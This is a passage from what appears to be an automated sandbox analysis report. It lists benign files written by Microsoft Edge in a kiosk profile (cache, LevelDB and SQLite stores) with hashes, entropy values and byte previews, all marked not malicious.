SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.04390119081792198
Encrypted:	false
SSDEEP:	6:/Fii2yQZtUkM/lqWmphrUluiBl2MtcUM5kllUrNP//ls:dnKnEqzr4ldl2EhMq/yNP1s
MD5:	B971A74A4AFD556F6C2616EC173C9D3A
SHA1:	847096CD6775F5A20F42F1CDB5B5B6089E323F3B
SHA-256:	29E03F2AAE653B9E628F326BDD7C72031CAB39B9C13EBFDAFFAD23E974ACA613
SHA-512:	03DDA96F0BB6268A238D43E0291E32EDF3E5B0025B2708487D3680823CAAF8AA7AC9F40886E09F5E682A10F15DA05959587B6FE8DD12C7E5B27DFFBC950FB322
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.09563320304986989
Encrypted:	false
SSDEEP:	48:pV4A3essYV4XesrAntE16NUeGywT3lWp4:pV4A33DV4X3rAC16NLGyy3L
MD5:	AD3F934E71E1AB64FB442D11940469C8
SHA1:	53EB18F54DB8AE6A0EFA21A57F6BA02AA423A503
SHA-256:	297A83259BD0DADC1E522E56C289564911D84D78EB2D2CAA5B443E5B55D9EED6
SHA-512:	D84DF27F1E4288392C72C9F67556B55D706D49A720B72B6C263EBA3B8D5CF53D3BD8AACBD8D0B16F2AD59F95E8E2B7DAEBD3DC8D835952E8BBAC2D1915C19403
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1056768
Entropy (8bit):	0.2833410393263075
Encrypted:	false
SSDEEP:	192:6iXL0KifnJZbtMXaXD0KifnJZbtMXd44m0JZbtM4afm0JZbtM44t7FvyMeKsJZbe:6KcfJJtMycfJJtMGWJtb8JtbkfYJtR
MD5:	E69A32E5F9D947C885557F9B2A0B56E6
SHA1:	8293B78CF8A6AD874CB74F2532689D84E7D4E6C0
SHA-256:	10637084C62C737DCAC6FB3B935A2753CD453CEED20CCD77F5BB4F82CBB1BFFB
SHA-512:	D2D40D6092210FC0D6A87FE5BCC986F3B5D5DE9A6EBD924F836335F9FF1C981CFF8A5C69EF3249D002D993676028DA886DAB79338801960B2356F8EAC591A201
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4202496
Entropy (8bit):	0.04312480187296375
Encrypted:	false
SSDEEP:	192:rH/WCxkD7MDPSYAxmemxb7mngJdv9TXJ4MQmLu5/4eeNd:rOKSXs/J7mGnQmLu5/5eNd
MD5:	4D3862637A3E49DEA6B0E914424F7F3E
SHA1:	2ADD705EDC5981DFA1DDA043EF8917DD416CA4B3
SHA-256:	081133A6F01292BF3CDF0BFBAE44EEE97EC2920D820294EA0447EE2D71249D58
SHA-512:	FA1B6C0C9D28F5686D65A17D43EC6473524C7D576CADA3BA68A94B85375C703E750F624CA82ED3A431DBF5A41203A974E041BFCC6681E04CFBE708B34A4AA861
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\f_000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, was "asset", last modified: Fri Aug 2 18:10:34 2024, max compression, original size modulo 2^32 374872
Category:	dropped
Size (bytes):	70207
Entropy (8bit):	7.995911906073242
Encrypted:	true
SSDEEP:	1536:VzseWV/dT2G9zm5w0vgxQUFm6SM6ZYRuB61K+aK+POIwPru:VoNQGIwvs6S9+I6RWPOIwTu
MD5:	9F5A7E038BF08B13BD15338EC7BD4E16
SHA1:	AB69D28EEA9AE289BB86159C341910538CDDE5B9
SHA-256:	BA0BCBBF170ADB0B5119D19D56C2D004579507DFC4A9215BCCC8663C8A486AF8
SHA-512:	48557ECD56DFD2157304FE752E15E44314667EFC79E6C21312723251E4E1F1BF5BE0A76F88F4B4D83FADB9D81BFB1835B1C0E5CFA7B07214A605F58064BB94B1
Malicious:	false
Preview:	.....!.f..asset.....6.0.W..3....[........9m;.....IH.E...j...}.....PR..w.gg.....@.P...?...x....?./.%..Q...x....}..9..e..f.8..Yb@g...i..$...I.......<....k...{..{.Qg..k..q.....i.Y}..._......\?....5 .5 .`..._i'@....H'.f!...x`...f......v.._1w.u.<.........5.:..^.Ua....H6...x....D:.R..L..2.,.s.f.......FE'..%{]-;+.`....N...=\|.:q...9N.k..i.I.8E.i.I.s..Y...8..fe'...Xo...Xo...#.r$N.u2.o.]....^,.k....{E."......Q.N...AY..u.^o.............Z..ce.irN.{.O$.C.......HJ.HJ..J..hOgA.5.nW.\........}E.%-.A."a<..~.[O....~.......xX.G?Y.3O8d8I...&X....V4...0=.iS....].D.L@.YiS...<.W..W+..#mj...p..8^.\U;oV;W`..^..V...G..SC.9.....i%@g.iS=..`..#.H.p.q..E.q...)....).X..M.X.%.,i.%..V..6.nk.@1S@-..Y.6....K.n....:c.My.....h...9..q...f't.iS.v..6D7...d't.iS.v..F.....faG.t.f....lR.J@!l.0O..T.....T2...\.n..-....L..ES.9.:...B..P1@...P.l.fX.aV..Y6.B5......Mt..SS,l..+..J...).i.6......8...:.Z...2.H.8..Z.>.5.Oi..N`:..6.i.n.h.l.e.h.T\.lr...TE+m.T..).D..F..+.6....J...x.`..`.m..H..i....p...v

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulIPVt:LsNPVt
MD5:	775D39D64FF46CDF1DE6F18EDEB764BB
SHA1:	421AF547A33F80438BB9FF74F70DABFF2684C6C1
SHA-256:	60FB43CC812D6DC92D3B44680A003AEA41C19BBC16778786B4988CDD39EB87E5
SHA-512:	EE5D8D2B9397C622BD2C03A5155766BC3F33EABDDCB80687345EB6F07C36935F03BD00575AD4A695D6DC2272FDA9F7640B219B6715FEE6FCFF9DB21E0A1A24E9
Malicious:	false
Preview:	........................................4..n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.8981641637663254
Encrypted:	false
SSDEEP:	3:VjAmKPyESnT:OR9+T
MD5:	B801BB4149AC496EB70EF4659BDECC6C
SHA1:	867D8CC153DC37BE114A29A25412C89F4E237658
SHA-256:	15DA018670D01A8FC16F28654E2AD6AF797E0477FE7EF65E753AF9D3CA7ABAFB
SHA-512:	767194275E3F1A59DA33F7FE273A4FA9A1AC6EA6AD07A5A9ACB203C35869785ECB9792A33E87198A5AD6C4497A0DC72820F354EE11AB28CBECD4DD38458B6315
Malicious:	false
Preview:	(....Fe.oy retne...........................n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\js\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.8981641637663254
Encrypted:	false
SSDEEP:	3:VjAmKPyESnT:OR9+T
MD5:	B801BB4149AC496EB70EF4659BDECC6C
SHA1:	867D8CC153DC37BE114A29A25412C89F4E237658
SHA-256:	15DA018670D01A8FC16F28654E2AD6AF797E0477FE7EF65E753AF9D3CA7ABAFB
SHA-512:	767194275E3F1A59DA33F7FE273A4FA9A1AC6EA6AD07A5A9ACB203C35869785ECB9792A33E87198A5AD6C4497A0DC72820F354EE11AB28CBECD4DD38458B6315
Malicious:	false
Preview:	(....Fe.oy retne...........................n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:Enct00Es+jT:EctgbT
MD5:	6951B341D92D5832515E6409D4EEA490
SHA1:	37A0540FB8FF76ADFBC0FC4E0771FC77EC6D863A
SHA-256:	5EC7F3CAA4485FC38ECAF63E77B1A6A63F4C6568A929B35CFE7E896891797AAA
SHA-512:	1B743B21BE5A3198C95337B69656F5825EEBA451092F05582707693CF814C30AAD19F71B7EF3078120C519E24BC4E62C0C3EF92625C5DD36C7056081E55B70B9
Malicious:	false
Preview:	(.......oy retne........................0..n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\Code Cache\wasm\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.955557653394731
Encrypted:	false
SSDEEP:	3:Enct00Es+jT:EctgbT
MD5:	6951B341D92D5832515E6409D4EEA490
SHA1:	37A0540FB8FF76ADFBC0FC4E0771FC77EC6D863A
SHA-256:	5EC7F3CAA4485FC38ECAF63E77B1A6A63F4C6568A929B35CFE7E896891797AAA
SHA-512:	1B743B21BE5A3198C95337B69656F5825EEBA451092F05582707693CF814C30AAD19F71B7EF3078120C519E24BC4E62C0C3EF92625C5DD36C7056081E55B70B9
Malicious:	false
Preview:	(.......oy retne........................0..n../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlGa+t:Ls3Ga+t
MD5:	7E619B5F1D8BC642AF98372A49A3A3CB
SHA1:	D55ED410A44153779DB778DCD7BF435D9EC8FD0E
SHA-256:	0FE84374FF15C5F2EB640C411E178EA29B2C4DE0FB6FE1CCBC3276B1F47777B2
SHA-512:	5445E822F9DB122D43F0044F623940C1D911AC6AF21EC7A0DCA4009711C616E6B1DF8671CC2F1E8CC0F3571F24A4AC008ABADD7A86B6236B0FB443B636AAD9AD
Malicious:	false
Preview:	...........................................n../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5094712832659277
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7me5q4iZ7dV:TLqpR+DDNzWjJ0npnyXKUO8+j25XmL
MD5:	D4971855DD087E30FC14DF1535B556B9
SHA1:	9E00DEFC7E54C75163273184837B9D0263AA528C
SHA-256:	EC7414FF1DB052E8E0E359801F863969866F19228F3D5C64F632D991C923F0D2
SHA-512:	ACA411D7819B03EF9C9ACA292D91B1258238DF229B4E165A032DB645E66BFE1148FF3DCFDAC3126FCD34DBD0892F420148E280D9716C63AD9FCDD9E7CA58D71D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354143674741966
Encrypted:	false
SSDEEP:	6144:4A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:4FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	2D5BB9A2441A4C9CF051777535474515
SHA1:	E562E02129585A1D7D4C9AA94C81C447F13F69CB
SHA-256:	96A55E923BE1D333338D25FBF46AB8E90D961D5144756DDF1C65A3D91115CE2D
SHA-512:	D936890BFC457F1065C62546205375102E2065AF3CD4ED5A9D78D57BCDDFC33B77142C2557AB587537B2AE7FB98EBD712F302FCD67499232F81476C7A5B00D55
Malicious:	false
Preview:	...m.................DB_VERSION.1...Wq...............&QUERY_TIMESTAMP:domains_config_gz2...13369633761064348..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.198480649985345
Encrypted:	false
SSDEEP:	6:6DD1wkn23oH+Tcwtj2WwnvB2KLlAnH+q2Pwkn23oH+Tcwtj2WwnvIFUv:6DyfYebjxwnvFLyH+vYfYebjxwnQFUv
MD5:	48DCAE409B6EA1A47788E8C02DD22D5C
SHA1:	4CE3AC836E290EDA5EC53C82896DD67AA712F1EC
SHA-256:	5B1CAA3FFAB73B8E41005B367D282A7B473FC2362BE3E2FA4DC55E07B42ED286
SHA-512:	86603489B9D52509C16B8E5A5DEBF84B42AD33EC38BF1DA6880BD189D6DECB56389FB63B2FEBE2EC90422DC93DD4AF656FA8D7013FB036CBE7B5A4B6F8892E6D
Malicious:	false
Preview:	2024/08/31-23:09:20.255 180c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtractionAssetStore.db since it was missing..2024/08/31-23:09:20.334 180c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324616888837477
Encrypted:	false
